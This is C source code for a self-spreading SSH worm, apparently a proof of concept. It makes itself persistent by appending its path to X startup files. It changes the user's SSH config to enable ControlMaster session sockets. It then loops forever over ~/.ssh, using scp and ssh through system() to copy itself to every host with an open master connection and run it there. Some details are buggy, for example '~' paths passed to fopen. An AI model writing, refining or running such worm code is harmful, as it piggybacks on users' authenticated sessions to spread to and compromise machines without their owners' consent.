#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <dirent.h>

char fileLoc[] = "~/.opensshworm"; //default location to store worm

int autostart() {   //only works with X
    FILE *file;
    int len, i;
    char *buf, filename[2][12] = {"~/.xinitrc", "~/.xsession"};

    for(i=0; i<2; i++) {
        file = fopen(filename[i], "a+");
        if ( file == NULL ) return 0;

        fseek(file, 0, SEEK_END);
        len = ftell(file) + 1;      //get file length
        buf = (char *)malloc(len);
        rewind(file);
        fread(buf, 1, len, file);

        if (strstr(buf, fileLoc) != NULL) {
            free(buf);
            continue;  //already there!
        }
        free(buf);
        fseek(file, 0, SEEK_END);
        fwrite("\n", 1, 1, file);
        fwrite(fileLoc, 1, strlen(fileLoc), file);
        fclose(file);
    }
    return 1;
}

int setupSSH() {
    FILE *file;
    int len;
    char *ptr[5], *buf,
        t[] = "\nHost *\n   ControlMaster auto\n   ControlPath ~/.ssh/master-\%r@\%h:\%p\n";

    file = fopen("~/.ssh/config", "a+");
    if ( file == NULL ) return 0;

    fseek(file, 0, SEEK_END);
    len = ftell(file) + 1;      //get file length
    buf = (char *)malloc(len);
    rewind(file);
    fread(buf, 1, len, file);

    ptr[0] = strstr(buf, "Host *");
    if (ptr[0] != NULL) {
        ptr[1] = strstr(ptr[0]+4, "Host");
        ptr[2] = strstr(buf, "ControlMaster auto");
        if ( (ptr[2] > ptr[0]) && ( (ptr[2] < ptr[1]) | (ptr[1] == NULL)) ) { //already exists
            free(buf);
            return 1;
        }
    }

    fseek(file, 0, SEEK_END);
    fwrite(t, 1, strlen(t), file);
    fclose(file);
    free(buf);
    return 1;
}

int main(void) {
    if (autostart() == 0) return 0;
    if (setupSSH() == 0) return 0;

    DIR *ssh;
    struct dirent *dir;
    char *ptr, host[64], cmd[256];

    ssh = opendir(".ssh");
    if (ssh == NULL) {
        printf("error opening dir\n%i\n",errno);
        return 0;
    }
    while(1) {
        dir = readdir(ssh);
        if (dir == NULL) {  //if we checked all files, start over
            rewinddir(ssh);
            sleep(10);
            continue;
        }
        if (strncmp(dir->d_name, "master-", 7) == 0 ) {
            //ssh connection open, lets spread
            ptr = strchr(dir->d_name, '@');
            strcpy(host, ptr+1);
            ptr = strchr(host, ':');
            *ptr = 0;
            sprintf(cmd, "scp %s %s:%s && ssh %s %s &", fileLoc, host, fileLoc, host, fileLoc);
            system(cmd);
        }
    }
    closedir(ssh);
    return 1;
}